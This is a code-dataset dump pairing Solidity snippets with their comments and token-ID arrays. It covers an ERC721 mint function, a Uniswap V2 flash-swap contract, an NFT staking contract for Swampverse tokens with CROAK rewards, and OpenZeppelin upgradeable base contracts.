file_name
stringlengths 71
779k
| comments
stringlengths 20
182k
| code_string
stringlengths 20
36.9M
| __index_level_0__
int64 0
17.2M
| input_ids
sequence | attention_mask
sequence | labels
sequence |
---|---|---|---|---|---|---|
./full_match/4/0x3C951bcD2991a92527399c5143A8e2Ba81b30eB4/sources/kaliAIT.sol | this is reasonably safe from overflow because incrementing `totalSupply` beyond 'type(uint256).max' is exceedingly unlikely compared to optimization benefits, and because the sum of all user balances can't exceed 'type(uint256).max' | function _mint(
address to,
uint256 tokenId,
string memory tokenURI_
) internal virtual {
require(ownerOf[tokenId] == address(0), 'ALREADY_MINTED');
unchecked {
totalSupply++;
balanceOf[to]++;
}
ownerOf[tokenId] = to;
tokenURI[tokenId] = tokenURI_;
emit Transfer(address(0), to, tokenId);
}
| 649,981 | [
1,
2211,
353,
3971,
6906,
4183,
628,
9391,
2724,
5504,
310,
1375,
4963,
3088,
1283,
68,
17940,
296,
723,
12,
11890,
5034,
2934,
1896,
11,
353,
9943,
310,
715,
29372,
15843,
358,
14850,
27641,
18352,
16,
471,
2724,
326,
2142,
434,
777,
729,
324,
26488,
848,
1404,
9943,
296,
723,
12,
11890,
5034,
2934,
1896,
11,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
389,
81,
474,
12,
203,
3639,
1758,
358,
16,
7010,
3639,
2254,
5034,
1147,
548,
16,
7010,
3639,
533,
3778,
1147,
3098,
67,
203,
565,
262,
2713,
5024,
288,
7010,
3639,
2583,
12,
8443,
951,
63,
2316,
548,
65,
422,
1758,
12,
20,
3631,
296,
1013,
20305,
67,
6236,
6404,
8284,
203,
21281,
3639,
22893,
288,
203,
5411,
2078,
3088,
1283,
9904,
31,
203,
2398,
203,
5411,
11013,
951,
63,
869,
3737,
15,
31,
203,
3639,
289,
203,
540,
203,
3639,
3410,
951,
63,
2316,
548,
65,
273,
358,
31,
203,
540,
203,
3639,
1147,
3098,
63,
2316,
548,
65,
273,
1147,
3098,
67,
31,
203,
540,
203,
3639,
3626,
12279,
12,
2867,
12,
20,
3631,
358,
16,
1147,
548,
1769,
7010,
565,
289,
203,
377,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8;
import "./interfaces/UniswapV2Interfaces.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import '@openzeppelin/contracts/access/Ownable.sol';
import '@openzeppelin/contracts/utils/structs/EnumerableSet.sol';
import '@openzeppelin/contracts/utils/math/SafeMath.sol';
import './libraries/Decimal.sol';
import "hardhat/console.sol";
import "./interfaces/UniswapV2Interfaces.sol";
import '@openzeppelin/contracts/token/ERC20/IERC20.sol';
abstract contract FlashSwapper is Ownable {
using SafeERC20 for IERC20;
using Decimal for Decimal.D256;
using SafeMath for uint256;
using EnumerableSet for EnumerableSet.AddressSet;
enum SwapType {SimpleLoan, SimpleSwap, TriangularSwap}
struct CallbackData {
address debtPool;
address targetPool;
bool debtTokenSmaller;
address borrowedToken;
address debtToken;
uint256 debtAmount;
uint256 debtTokenOutAmount;
}
struct OrderedReserves {
uint256 a1; // base asset
uint256 b1;
uint256 a2;
uint256 b2;
}
struct ArbitrageInfo {
address baseToken;
address quoteToken;
bool baseTokenSmaller;
address lowerPool; // pool with lower price, denominated in quote asset
address higherPool; // pool with higher price, denominated in quote asset
}
// CONSTANTS
address constant ETH = address(0);
address constant WETH = 0x21be370D5312f44cB42ce377BC9b8a0cEF1A4C83;
IUniswapV2Factory constant uniswapV2Factory = IUniswapV2Factory(0x152eE697f2E276fA89E96742e9bB9aB1F2E61bE3);
// ACCESS CONTROL
// Only the `permissionedPairAddress` may call the `uniswapV2Call` function
address permissionedPairAddress = address(1);
// @notice Flash-borrows _amount of _tokenBorrow from a Uniswap V2 pair and repays using _tokenPay
// @param _tokenBorrow The address of the token you want to flash-borrow, use 0x0 for ETH
// @param _amount The amount of _tokenBorrow you will borrow
// @param _tokenPay The address of the token you want to use to payback the flash-borrow, use 0x0 for ETH
// @param _userData Data that will be passed to the `execute` function for the user
// @dev Depending on your use case, you may want to add access controls to this function
function startSwap(address _tokenBorrow, address _tokenPay, uint256 _amount0Out, uint256 _amount1Out, bytes memory _userData) internal {
address tokenBorrow = _tokenBorrow;
address tokenPay = _tokenPay;
if (tokenBorrow == tokenPay || tokenBorrow == WETH || tokenPay == WETH) {
simpleFlashLoan(_amount0Out, _amount1Out, _userData);
return;
} else {
traingularFlashSwap(_userData);
return;
}
}
// @notice Function is called by the Uniswap V2 pair's `swap` function
function uniswapV2Call(address _sender, uint _amount0, uint _amount1, bytes memory _data) public {
// access control
require(msg.sender == permissionedPairAddress, "only permissioned UniswapV2 pair can call");
require(_sender == address(this), "only this contract may initiate");
// decode data
(
SwapType _swapType,
bytes memory _triangleData,
bytes memory _userData
) = abi.decode(_data, (SwapType, bytes, bytes));
if (_swapType == SwapType.SimpleLoan || _swapType == SwapType.SimpleSwap) {
simpleFlashLoanExecute(_amount0, _amount1, msg.sender, _userData);
return;
}else {
traingularFlashSwapExecute(_triangleData, _userData);
}
// NOOP to silence compiler "unused parameter" warning
if (false) {
_amount0;
_amount1;
}
}
// @notice This function is used when the user repays with the same token they borrowed
// @dev This initiates the flash borrow. See `simpleFlashLoanExecute` for the code that executes after the borrow.
function simpleFlashLoan(uint256 amount0Out, uint amount1Out, bytes memory _userData) private {
CallbackData memory info = abi.decode(_userData, (CallbackData));
bytes memory data = abi.encode(
SwapType.SimpleLoan,
bytes(""),
info
);
permissionedPairAddress = info.debtPool; // is it cheaper to compute this locally?
address pairAddress = permissionedPairAddress; // gas efficiency
require(pairAddress != address(0), "Requested _token is not available.");
IUniswapV2Pair(pairAddress).swap(amount0Out, amount1Out, address(this), data);
}
// @notice This is the code that is executed after `simpleFlashLoan` initiated the flash-borrow
// @dev When this code executes, this contract will hold the flash-borrowed _amount of _tokenBorrow
function simpleFlashLoanExecute(
uint amount0,
uint amount1,
address _pairAddress,
bytes memory _userData
) private {
CallbackData memory info = abi.decode(_userData, (CallbackData));
uint256 borrowedAmount = amount0 > 0 ? amount0 : amount1;
IERC20(info.borrowedToken).safeTransfer(info.targetPool, borrowedAmount);
// uint fee = ((borrowedAmount * 3) / 997) + 1;
// uint amountToRepay = borrowedAmount + fee;
(uint256 amount0Out, uint256 amount1Out) =
info.debtTokenSmaller ? (info.debtTokenOutAmount, uint256(0)) : (uint256(0), info.debtTokenOutAmount);
IUniswapV2Pair(info.targetPool).swap(amount0Out, amount1Out, address(this), new bytes(0));
IERC20(info.debtToken).safeTransfer(info.debtPool, info.debtAmount);
}
// @notice This function is used when neither the _tokenBorrow nor the _tokenPay is WETH
// @dev Since it is unlikely that the _tokenBorrow/_tokenPay pair has more liquidaity than the _tokenBorrow/WETH and
// _tokenPay/WETH pairs, we do a triangular swap here. That is, we flash borrow WETH from the _tokenPay/WETH pair,
// Then we swap that borrowed WETH for the desired _tokenBorrow via the _tokenBorrow/WETH pair. And finally,
// we pay back the original flash-borrow using _tokenPay.
// @dev This initiates the flash borrow. See `traingularFlashSwapExecute` for the code that executes after the borrow.
function traingularFlashSwap(bytes memory _userData) private {
CallbackData memory info = abi.decode(_userData, (CallbackData));
uint _amount = info.debtAmount;
address borrowPairAddress = uniswapV2Factory.getPair(info.borrowedToken, WETH); // is it cheaper to compute this locally?
require(borrowPairAddress != address(0), "Requested borrow token is not available.");
permissionedPairAddress = uniswapV2Factory.getPair(info.debtToken, WETH); // is it cheaper to compute this locally?
address payPairAddress = permissionedPairAddress; // gas efficiency
require(payPairAddress != address(0), "Requested pay token is not available.");
// STEP 1: Compute how much WETH will be needed to get _amount of _tokenBorrow out of the _tokenBorrow/WETH pool
uint pairBalanceTokenBorrowBefore = IERC20(info.borrowedToken).balanceOf(borrowPairAddress);
require(pairBalanceTokenBorrowBefore >= _amount, "_amount is too big");
uint pairBalanceTokenBorrowAfter = pairBalanceTokenBorrowBefore - _amount;
uint pairBalanceWeth = IERC20(WETH).balanceOf(borrowPairAddress);
uint amountOfWeth = ((1000 * pairBalanceWeth * _amount) / (997 * pairBalanceTokenBorrowAfter)) + 1;
// using a helper function here to avoid "stack too deep" :(
traingularFlashSwapHelper(borrowPairAddress, payPairAddress, amountOfWeth, _userData);
}
// @notice Helper function for `traingularFlashSwap` to avoid `stack too deep` errors
function traingularFlashSwapHelper(
address _borrowPairAddress,
address _payPairAddress,
uint _amountOfWeth,
bytes memory _userData
) private {
// Step 2: Flash-borrow _amountOfWeth WETH from the _tokenPay/WETH pool
// CallbackData memory info = abi.decode(_userData, (CallbackData));
address token0 = IUniswapV2Pair(_payPairAddress).token0();
address token1 = IUniswapV2Pair(_payPairAddress).token1();
uint amount0Out = WETH == token0 ? _amountOfWeth : 0;
uint amount1Out = WETH == token1 ? _amountOfWeth : 0;
bytes memory triangleData = abi.encode(_borrowPairAddress, _amountOfWeth);
bytes memory data = abi.encode(SwapType.TriangularSwap, triangleData, _userData);
// initiate the flash swap from UniswapV2
IUniswapV2Pair(_payPairAddress).swap(amount0Out, amount1Out, address(this), data);
}
// @notice This is the code that is executed after `traingularFlashSwap` initiated the flash-borrow
// @dev When this code executes, this contract will hold the amount of WETH we need in order to get _amount
// _tokenBorrow from the _tokenBorrow/WETH pair.
function traingularFlashSwapExecute(
bytes memory _triangleData,
bytes memory _userData
) private {
// decode _triangleData
(address _borrowPairAddress, uint _amountOfWeth) = abi.decode(_triangleData, (address, uint));
CallbackData memory info = abi.decode(_userData, (CallbackData));
// Step 3: Using a normal swap, trade that WETH for _tokenBorrow
address token0 = IUniswapV2Pair(_borrowPairAddress).token0();
address token1 = IUniswapV2Pair(_borrowPairAddress).token1();
uint amount0Out = info.borrowedToken == token0 ? info.debtAmount : 0;
uint amount1Out = info.borrowedToken == token1 ? info.debtAmount : 0;
IERC20(WETH).transfer(_borrowPairAddress, _amountOfWeth); // send our flash-borrowed WETH to the pair
IUniswapV2Pair(_borrowPairAddress).swap(amount0Out, amount1Out, address(this), bytes(""));
// compute the amount of _tokenPay that needs to be repaid
address payPairAddress = permissionedPairAddress; // gas efficiency
uint pairBalanceWETH = IERC20(WETH).balanceOf(payPairAddress);
uint pairBalanceTokenPay = IERC20(info.debtToken).balanceOf(payPairAddress);
uint amountToRepay = ((1000 * pairBalanceTokenPay * _amountOfWeth) / (997 * pairBalanceWETH)) + 1;
// Step 4: Do whatever the user wants (arb, liqudiation, etc)
// execute(_tokenBorrow, _amount, _tokenPay, amountToRepay, _userData);
// (uint256 amount0Out, uint256 amount1Out) =
// info.debtTokenSmaller ? (info.debtTokenOutAmount, uint256(0)) : (uint256(0), info.debtTokenOutAmount);
// IUniswapV2Pair(_payPairAddress).swap(amount0Out, amount1Out, address(this), new bytes(0));
// Step 5: Pay back the flash-borrow to the _tokenPay/WETH pool
IERC20(info.debtToken).transfer(payPairAddress, amountToRepay);
}
// @notice This is where the user's custom logic goes
// @dev When this function executes, this contract will hold _amount of _tokenBorrow
// @dev It is important that, by the end of the execution of this function, this contract holds the necessary
// amount of the original _tokenPay needed to pay back the flash-loan.
// @dev Paying back the flash-loan happens automatically by the calling function -- do not pay back the loan in this function
// @dev If you entered `0x0` for _tokenPay when you called `flashSwap`, then make sure this contract holds _amount ETH before this
// finishes executing
// @dev User will override this function on the inheriting contract
function execute(address _tokenBorrow, uint _amount, address _tokenPay, uint _amountToRepay, bytes memory _userData) virtual internal;
receive() external payable {}
/// @dev Redirect uniswap callback function
/// The callback function on different DEX are not same, so use a fallback to redirect to uniswapV2Call
fallback(bytes calldata _input) external returns (bytes memory) {
(address sender, uint256 amount0, uint256 amount1, bytes memory data) = abi.decode(_input[4:], (address, uint256, uint256, bytes));
uniswapV2Call(sender, amount0, amount1, data);
}
} | @notice This is the code that is executed after `traingularFlashSwap` initiated the flash-borrow @dev When this code executes, this contract will hold the amount of WETH we need in order to get _amount _tokenBorrow from the _tokenBorrow/WETH pair. decode _triangleData Step 3: Using a normal swap, trade that WETH for _tokenBorrow compute the amount of _tokenPay that needs to be repaid Step 4: Do whatever the user wants (arb, liqudiation, etc) execute(_tokenBorrow, _amount, _tokenPay, amountToRepay, _userData); (uint256 amount0Out, uint256 amount1Out) = info.debtTokenSmaller ? (info.debtTokenOutAmount, uint256(0)) : (uint256(0), info.debtTokenOutAmount); IUniswapV2Pair(_payPairAddress).swap(amount0Out, amount1Out, address(this), new bytes(0)); Step 5: Pay back the flash-borrow to the _tokenPay/WETH pool | function traingularFlashSwapExecute(
bytes memory _triangleData,
bytes memory _userData
) private {
(address _borrowPairAddress, uint _amountOfWeth) = abi.decode(_triangleData, (address, uint));
CallbackData memory info = abi.decode(_userData, (CallbackData));
address token0 = IUniswapV2Pair(_borrowPairAddress).token0();
address token1 = IUniswapV2Pair(_borrowPairAddress).token1();
uint amount0Out = info.borrowedToken == token0 ? info.debtAmount : 0;
uint amount1Out = info.borrowedToken == token1 ? info.debtAmount : 0;
IUniswapV2Pair(_borrowPairAddress).swap(amount0Out, amount1Out, address(this), bytes(""));
uint pairBalanceWETH = IERC20(WETH).balanceOf(payPairAddress);
uint pairBalanceTokenPay = IERC20(info.debtToken).balanceOf(payPairAddress);
uint amountToRepay = ((1000 * pairBalanceTokenPay * _amountOfWeth) / (997 * pairBalanceWETH)) + 1;
IERC20(info.debtToken).transfer(payPairAddress, amountToRepay);
}
| 14,094,458 | [
1,
2503,
353,
326,
981,
716,
353,
7120,
1839,
1375,
2033,
17830,
11353,
12521,
68,
27183,
326,
9563,
17,
70,
15318,
225,
5203,
333,
981,
11997,
16,
333,
6835,
903,
6887,
326,
3844,
434,
678,
1584,
44,
732,
1608,
316,
1353,
358,
336,
389,
8949,
377,
389,
2316,
38,
15318,
628,
326,
389,
2316,
38,
15318,
19,
59,
1584,
44,
3082,
18,
2495,
389,
16857,
4341,
751,
8693,
890,
30,
11637,
279,
2212,
7720,
16,
18542,
716,
678,
1584,
44,
364,
389,
2316,
38,
15318,
3671,
326,
3844,
434,
389,
2316,
9148,
716,
4260,
358,
506,
2071,
20736,
8693,
1059,
30,
2256,
15098,
326,
729,
14805,
261,
6779,
16,
4501,
372,
3211,
367,
16,
5527,
13,
1836,
24899,
2316,
38,
15318,
16,
389,
8949,
16,
389,
2316,
9148,
16,
3844,
774,
426,
10239,
16,
389,
1355,
751,
1769,
261,
11890,
5034,
3844,
20,
1182,
16,
2254,
5034,
3844,
21,
2
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] | [
1,
565,
445,
1284,
17830,
11353,
12521,
5289,
12,
3639,
203,
3639,
1731,
3778,
389,
16857,
4341,
751,
16,
203,
3639,
1731,
3778,
389,
1355,
751,
203,
565,
262,
3238,
288,
203,
3639,
261,
2867,
389,
70,
15318,
4154,
1887,
16,
2254,
389,
8949,
951,
59,
546,
13,
273,
24126,
18,
3922,
24899,
16857,
4341,
751,
16,
261,
2867,
16,
2254,
10019,
203,
203,
3639,
8444,
751,
3778,
1123,
273,
24126,
18,
3922,
24899,
1355,
751,
16,
261,
2428,
751,
10019,
203,
203,
3639,
1758,
1147,
20,
273,
467,
984,
291,
91,
438,
58,
22,
4154,
24899,
70,
15318,
4154,
1887,
2934,
2316,
20,
5621,
203,
3639,
1758,
1147,
21,
273,
467,
984,
291,
91,
438,
58,
22,
4154,
24899,
70,
15318,
4154,
1887,
2934,
2316,
21,
5621,
203,
3639,
2254,
3844,
20,
1182,
273,
1123,
18,
70,
15318,
329,
1345,
422,
1147,
20,
692,
1123,
18,
323,
23602,
6275,
294,
374,
31,
203,
3639,
2254,
3844,
21,
1182,
273,
1123,
18,
70,
15318,
329,
1345,
422,
1147,
21,
692,
1123,
18,
323,
23602,
6275,
294,
374,
31,
203,
3639,
467,
984,
291,
91,
438,
58,
22,
4154,
24899,
70,
15318,
4154,
1887,
2934,
22270,
12,
8949,
20,
1182,
16,
3844,
21,
1182,
16,
1758,
12,
2211,
3631,
1731,
2932,
7923,
1769,
203,
203,
3639,
2254,
3082,
13937,
59,
1584,
44,
273,
467,
654,
39,
3462,
12,
59,
1584,
44,
2934,
12296,
951,
12,
10239,
4154,
1887,
1769,
203,
3639,
2254,
3082,
13937,
1345,
9148,
273,
467,
654,
39,
3462,
12,
1376,
18,
323,
23602,
2
] |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
import "@openzeppelin/contracts-upgradeable/security/PausableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/security/ReentrancyGuardUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC20/utils/SafeERC20Upgradeable.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol";
import "@openzeppelin/contracts/token/ERC721/utils/ERC721Holder.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "./interfaces/ICroak.sol";
/// @title Swampverse: Staking
/// @author @ryeshrimp
contract SwampStaking is Initializable, ERC721Holder, ReentrancyGuardUpgradeable, OwnableUpgradeable, PausableUpgradeable {
uint32 public constant SECONDS_IN_DAY = 1 days;
ICroak public rewardsToken;
IERC721Enumerable public swamperToken;
IERC721Enumerable public creatureToken;
struct UserInfo {
uint256 stakedCreatureCount;
uint256 stakedSwamperCount;
uint256 pendingRewards;
uint256 lastUpdate;
}
mapping(address => bool) controllers;
mapping(address => UserInfo) public userInfo;
mapping(uint256 => address) public stakedCreatures;
mapping(uint256 => address) public stakedSwampers;
uint256 public swamperRewardPerDay;
uint256 public creatureRewardPerDay;
function initialize(
address _swamperToken,
address _creatureToken,
address _rewardsToken,
uint256 _swamperRewardPerDay,
uint256 _creatureRewardPerDay
) public initializer {
__Ownable_init();
__Pausable_init();
swamperToken = IERC721Enumerable(_swamperToken);
creatureToken = IERC721Enumerable(_creatureToken);
rewardsToken = ICroak(_rewardsToken);
swamperRewardPerDay = _swamperRewardPerDay;
creatureRewardPerDay = _creatureRewardPerDay;
controllers[msg.sender] = true;
}
/// @notice Calculates live pending rewards of owner
/// @param account the address of owner
function pending(address account) public view returns (uint256) {
return userInfo[account].pendingRewards + (((block.timestamp - userInfo[account].lastUpdate) / SECONDS_IN_DAY) * (userInfo[account].stakedCreatureCount*creatureRewardPerDay)) + (((block.timestamp - userInfo[account].lastUpdate) / SECONDS_IN_DAY) * (userInfo[account].stakedSwamperCount*swamperRewardPerDay));
}
/// @notice Returns IDs of staked swampers by owner
/// @param account the address of owner
function stakedSwampersByOwner(address account) public view returns (uint256[] memory) {
uint256 supply = swamperToken.totalSupply();
uint256[] memory tmp = new uint256[](supply);
uint256 index;
for(uint tokenId = 1; tokenId <= supply; tokenId++) {
if (stakedSwampers[tokenId] == account) {
tmp[index] = tokenId;
index++;
}
}
uint256[] memory tokens = new uint256[](index);
for(uint i; i < index; i++) {
tokens[i] = tmp[i];
}
return tokens;
}
/// @notice Returns IDs of staked creatures by owner
/// @param account the address of owner
function stakedCreaturesByOwner(address account) public view returns (uint256[] memory) {
uint256 supply = creatureToken.totalSupply();
uint256[] memory tmp = new uint256[](supply);
uint256 index;
for(uint tokenId = 1; tokenId <= supply; tokenId++) {
if (stakedCreatures[tokenId] == account) {
tmp[index] = tokenId;
index++;
}
}
uint256[] memory tokens = new uint256[](index);
for(uint i; i < index; i++) {
tokens[i] = tmp[i];
}
return tokens;
}
/// @notice Set swamper, creature, or rewards address
/// @param _mode A number corresponding to the token type
/// 1 - swamperToken
/// 2 - creatureToken
/// 3 - rewardsToken
function setAddresses(uint8 _mode, address _address) external onlyOwner {
if (_mode == 1) swamperToken = IERC721Enumerable(_address);
else if (_mode == 2) creatureToken = IERC721Enumerable(_address);
else if (_mode == 3) rewardsToken = ICroak(_address);
else revert("SwampStaking.setAddresses: WRONG_MODE");
}
/// @notice Set rewards amount for NFTs
/// @param _mode A number corresponding to the token type
/// 1 - swamperRewardPerDay
/// 2 - creatureRewardPerDay
function setRewards(uint8 _mode, uint256 _amount) external onlyOwner {
if (_mode == 1) swamperRewardPerDay = _amount;
else if (_mode == 2) creatureRewardPerDay = _amount;
else revert("SwampStaking.setAwards: WRONG_MODE");
}
/// @notice Stakes user's Swamper NFTs
/// @param tokenIds The tokenIds of the Swamper NFTs which will be staked
function stakeSwampers(uint256[] memory tokenIds) external nonReentrant whenNotPaused updateReward(msg.sender) {
require(tokenIds.length > 0, "SwampStaking: No tokenIds provided");
uint256 amount;
for (uint256 i; i < tokenIds.length;) {
// Transfer user's NFTs to the staking contract
swamperToken.safeTransferFrom(msg.sender, address(this), tokenIds[i]);
// Increment the amount which will be staked
unchecked { amount++; }
// Save who is the staker/depositor of the token
stakedSwampers[tokenIds[i]] = msg.sender;
unchecked { i++; }
}
unchecked { userInfo[msg.sender].stakedSwamperCount += amount; }
emit Staked(msg.sender, amount, tokenIds, 0);
}
/// @notice Stakes user's Creature NFTs
/// @param tokenIds The tokenIds of the Creature NFTs which will be staked
function stakeCreatures(uint256[] memory tokenIds) external nonReentrant whenNotPaused updateReward(msg.sender) {
require(tokenIds.length > 0, "SwampStaking: No tokenIds provided");
uint256 amount;
for (uint256 i; i < tokenIds.length;) {
// Transfer user's NFTs to the staking contract
creatureToken.safeTransferFrom(msg.sender, address(this), tokenIds[i]);
// Increment the amount which will be staked
unchecked { amount++; }
// Save who is the staker/depositor of the token
stakedCreatures[tokenIds[i]] = msg.sender;
unchecked { i++; }
}
unchecked { userInfo[msg.sender].stakedCreatureCount += amount; }
emit Staked(msg.sender, amount, tokenIds, 1);
}
/// @notice Withdraws staked swamper NFTs
/// @param tokenIds The tokenIds of the NFTs which will be withdrawn
function withdrawSwampers(uint256[] memory tokenIds) external nonReentrant updateReward(msg.sender) {
require(tokenIds.length > 0, "SwampStaking: No tokenIds provided");
uint256 amount;
for (uint256 i; i < tokenIds.length;) {
// Check if the user who withdraws is the owner
require(stakedSwampers[tokenIds[i]] == msg.sender, "SwampStaking: Not the staker of the token");
// Transfer NFTs back to the owner
swamperToken.safeTransferFrom(address(this), msg.sender, tokenIds[i]);
// Increment the amount which will be withdrawn
amount++;
// Cleanup stakedAssets and paused info for the current tokenId
stakedSwampers[tokenIds[i]] = address(0);
unchecked { i++; }
}
userInfo[msg.sender].stakedSwamperCount -= amount;
emit Withdrawn(msg.sender, amount, tokenIds, 0);
}
/// @notice Withdraws staked creature NFTs
/// @param tokenIds The tokenIds of the NFTs which will be withdrawn
function withdrawCreatures(uint256[] memory tokenIds) external nonReentrant updateReward(msg.sender) {
require(tokenIds.length > 0, "SwampStaking: No tokenIds provided");
uint256 amount;
for (uint256 i; i < tokenIds.length;) {
// Check if the user who withdraws is the owner
require(stakedCreatures[tokenIds[i]] == msg.sender, "SwampStaking: Not the staker of the token");
// Transfer NFTs back to the owner
creatureToken.safeTransferFrom(address(this), msg.sender, tokenIds[i]);
// Increment the amount which will be withdrawn
unchecked { amount++; }
// Cleanup stakedAssets for the current tokenId
stakedCreatures[tokenIds[i]] = address(0);
unchecked { i++; }
}
unchecked { userInfo[msg.sender].stakedCreatureCount -= amount; }
emit Withdrawn(msg.sender, amount, tokenIds, 1);
}
/// @notice When paused, staking will be disabled but withdraw won't be
function pause() external onlyOwner {
_pause();
}
/// @notice When unpaused, staking will be re-enabled
function unpause() external onlyOwner {
_unpause();
}
/// @notice enables an address to pause token
/// @param controller the address to enable
function addController(address controller) external onlyOwner {
controllers[controller] = true;
}
/// @notice disables an address to pause token
/// @param controller the address to disbale
function removeController(address controller) external onlyOwner {
controllers[controller] = false;
}
/// @notice Retrieves pending reward of sender
function getReward() public nonReentrant {
uint256 reward = pending(msg.sender) * 1e18;
if (reward > 0) {
userInfo[msg.sender].pendingRewards = 0;
userInfo[msg.sender].lastUpdate = block.timestamp;
rewardsToken.mint(msg.sender, reward);
emit RewardPaid(msg.sender, reward);
}
}
modifier updateReward(address account) {
userInfo[account].pendingRewards = pending(account);
userInfo[account].lastUpdate = block.timestamp;
_;
}
event Staked(address indexed user, uint256 amount, uint256[] tokenIds, uint nftType);
event Withdrawn(address indexed user, uint256 amount, uint256[] tokenIds, uint nftType);
event RewardPaid(address indexed user, uint256 reward);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (proxy/utils/Initializable.sol)
pragma solidity ^0.8.0;
import "../../utils/AddressUpgradeable.sol";
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since proxied contracts do not make use of a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*
* [CAUTION]
* ====
* Avoid leaving a contract uninitialized.
*
* An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation
* contract, which may impact the proxy. To initialize the implementation contract, you can either invoke the
* initializer manually, or you can include a constructor to automatically mark it as initialized when it is deployed:
*
* [.hljs-theme-light.nopadding]
* ```
* /// @custom:oz-upgrades-unsafe-allow constructor
* constructor() initializer {}
* ```
* ====
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
// If the contract is initializing we ignore whether _initialized is set in order to support multiple
// inheritance patterns, but we only do this in the context of a constructor, because in other contexts the
// contract may have been reentered.
require(_initializing ? _isConstructor() : !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
/**
* @dev Modifier to protect an initialization function so that it can only be invoked by functions with the
* {initializer} modifier, directly or indirectly.
*/
modifier onlyInitializing() {
require(_initializing, "Initializable: contract is not initializing");
_;
}
function _isConstructor() private view returns (bool) {
return !AddressUpgradeable.isContract(address(this));
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (security/Pausable.sol)
pragma solidity ^0.8.0;
import "../utils/ContextUpgradeable.sol";
import "../proxy/utils/Initializable.sol";
/**
* @dev Contract module which allows children to implement an emergency stop
